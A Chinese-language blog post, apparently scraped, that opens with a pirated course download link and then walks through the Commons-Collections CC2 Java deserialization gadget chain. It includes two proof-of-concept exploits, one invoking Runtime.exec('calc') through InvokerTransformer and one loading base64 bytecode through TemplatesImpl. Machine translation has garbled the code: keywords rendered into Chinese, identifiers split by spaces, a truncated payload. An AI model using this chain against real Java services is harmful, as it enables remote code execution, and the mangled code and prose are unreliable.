乐趣区

关于java:Java架构师成长直通车40周完结无密辉夜姬

download:Java 架构师成长直通车(40 周完结无密)辉夜姬

Java 反序列化 -CC2 剖析
如何应用 PriorityQueue 和 TransformingComparator 作为切入点和跳板
首先,让咱们看看 TransformingComparator 类作为跳板是如何被调用到利用链的。
public int compare(final I obj1,final I obj2) {
final O value 1 = this . transformer . transform(obj 1);
final O value 2 = this . transformer . transform(obj 2);
返回 this.decorated.compare(value1,value 2);
}
复制代码
在 TransformingComparator#compare 办法中,调用 transform 办法来批改 obj1 和 obj2 的值。正是这种办法调用了利用链。
让咱们看看 PriorityQueue 类是如何作为入口点应用的。
公有 void read object(Java . io . objectinputstream s)
抛出 java.io.IOException,ClassNotFoundException {
// 读入大小,以及任何暗藏的货色
s . default read object();

// 读入 (并抛弃) 数组长度
s . readint();

queue = 新对象[大小];

// 读入所有元素。
for(int I = 0;I < 大小;i++)
queue[I]= s . read object();

// 元素保障处于“正确的程序”,然而
// spec 素来没有解释过那可能是什么。
heap ify();
}
复制代码
在 PriorityQueue#readObject 办法中,反序列化的数据存储在队列字段中,而后调用 heapify 办法调整数据,造成二进制堆。
调整数据时,会对数据进行比拟,较小的数排在第一位。在比拟数据时,会调用 compare 办法,这样 PriorityQueue 类就与 TransformingComparator 连接起来了。看看这个操作是如何在代码中实现的
公有 void heapify() {
for(int I =(size > > > 1)-1;I > = 0;我 -)
siftDown(即,(E)queue[I]);
}
复制代码
在 heapify 办法中,通过向后挪动数字来调整数据。
private void siftDown(int k,E x) {
if(比拟器!= 空)
siftDownUsingComparator(k,x);
其余
siftDownComparable(k,x);
}
复制代码
在向后挪动之前,会判断是否有比拟器,如果有,调用 if 中的办法,否则调用 else 中的办法。这里间接看 I -minute 办法,因为只有在有比拟器的状况下,才会调用比拟器中的办法来比拟两个数。
private void siftdownsusingcomparator(int k,E x) {
int half = size > > > 1;
while (k < 一半){
int child = (k
object c = queue[child];
int right = child+1;
if(右 < 大小 &&
comparator.compare((E) c,(E) queue[right]) > 0)
c = 队列 [child = right];
if(比拟器. compare(x,(E) c)
突破;
queue[k]= c;
k = 孩子;
}
queue[k]= x;
}
复制代码
如您所见,if 中的办法调用 comparator 中的比拟办法来比拟两个数字。正是这一步容许 PriorityQueue 类作为入口点与 TransformingComparator 类作为跳板相结合。
用优先级队列和转换比拟器结构 poc
首先是利用链。
PriorityQueue.readObject()
TransformingComparator.compare()
ChainedTransformer.transform()
InvokerTransformer.transform()
复制代码
开始构建概念验证
公共动态 void main(String[] args)引发异样{

// 结构歹意数组
变压器 [] 变压器 = 新变压器[]{
new constant transformer(runtime . class),
new invoker transformer(” get method “,新类[]{String.class,Class[]。class},新对象[]{“getRuntime “,新类[]{}}),
new InvokerTransformer(“invoke “,新类[]{Object.class,Object[]。class},新对象[]{null,新对象[]{}}),
new InvokerTransformer(“exec “,新类[]{String.class},新对象[]{“calc”})
};
// 结构一个有害数组
Transformer[]test = new Transformer[]{};

// 执行 add 办法调用 compare 办法进行比拟时应用有害数组。
chained transformer chain = new chained transformer(测试);

priority queue queue = new priority queue(new transforming comparator(chain));
queue . add(1);
queue . add(1);

// 调用 add 办法后,通过反射批改 chain 的数组,用歹意数组替换有害数组,而后在反序列化二进制堆时调用歹意数组执行代码。
Field field = chain.getClass()。getDeclaredField(” iTransformers “);
field . set accessible(true);
field.set(链条、变压器);

ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(” CC2 “));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(” CC2 “));
ois . read object();

}
复制代码
在这里也能够应用 CC3 中的 TemplatesImpl 类来结构 poc。
这里就不解释了,只给 poc。
公共动态 void main(String[] args)引发异样{

// 创立歹意的字节码
byte[] bytes = Base64.getDecoder()。decode(” yv 66 vgaaadqaiqoabgatcgauabuiabykabqafwcagacagqeacxryyw5 zzm 9 ybqeacihmy 29 TL 3n 1 bi 9 vcmcvyxbh y2 hll 3 hhbgful 2 ludgvybmfs L3 hzbh rjl 0 rptttbtgnvbs 9 zdw 4v 4 VB 3 jnl 2 fwywnozs 94 bwwvaw 50 zxjuywwvc 2 vyawfsaxplc I 9 tzxjpyxpemf 0 aw 9 usgfuzgxlcjspgeavgenvzgubaa
template simul obj = new template simple();
setFieldValue(obj,” _bytecodes “,new byte[][]{ bytes});
setFieldValue(obj,” _name “,” sakut 2 “);
setFieldValue(obj,” _tfactory “,new TransformerFactoryImpl());

// 首先应用有害的有效载荷,防止提前触发破绽援用 URLDNS
transformer transformer = new invoker transformer(” toString “,null,null);
priority queue queue = new priority queue(新转换比拟器(转换器));

// 将歹意字节码增加到队列中,并在反序列化二进制堆时将其用作比拟参数。
queue . add(obj);
queue . add(obj);
// 执行 add 办法反序列化后,批改有效载荷时会触发破绽代码。
setFieldValue(transformer,“iMethodName”,“new transformer”);

ObjectOutputStream OOS = new ObjectOutputStream(new file output stream(” CC2 “));
oos.writeObject(队列);
ObjectInputStream ois = new ObjectInputStream(new file inputstream(” CC2 “));
ois . read object();

}
公共动态 void setFieldValue(对象对象,字符串字段名称,对象值)引发异样{
Field field = obj.getClass()。getDeclaredField(字段名称);
field . set accessible(true);
field.set(obj,value);
}

复制代码
CC2 公共图书馆的性能
在下面的 poc 中,你可能认为 commons-collections4 和 commons-collections 没有区别。这两个新应用的类也能够在 commons-collections 中找到。为什么不能应用 commons-collections 来结构 poc 呢?
在这里,仅仅通过查看 poc,您可能看不到任何区别,然而当您应用 commons-collections 运行这个 poc 时,您会发现一个谬误。这里,在 commons-collections4 中导入的所有类都被注入并替换为 commons-collections 中的类。

退出移动版